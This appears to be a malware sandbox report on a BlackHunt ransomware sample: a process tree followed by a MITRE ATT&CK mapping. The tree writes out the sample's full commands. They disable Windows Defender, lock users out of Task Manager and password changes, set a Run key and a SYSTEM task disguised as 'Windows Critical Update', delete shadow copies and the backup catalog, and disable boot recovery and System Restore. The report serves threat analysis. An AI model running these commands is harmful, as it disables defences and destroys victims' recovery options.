- System policy modification
PID:4556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:1244
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1236
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3184
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:3588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:4924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1956
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1424
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2024
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:4444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4616
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1444
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:5064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe" /F
  2⤵
  PID:4192
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1540
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3716
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:3432
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4360
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1592
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1124
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4356
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4428
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5052
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3264
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1424

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1600

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3404

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4456

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery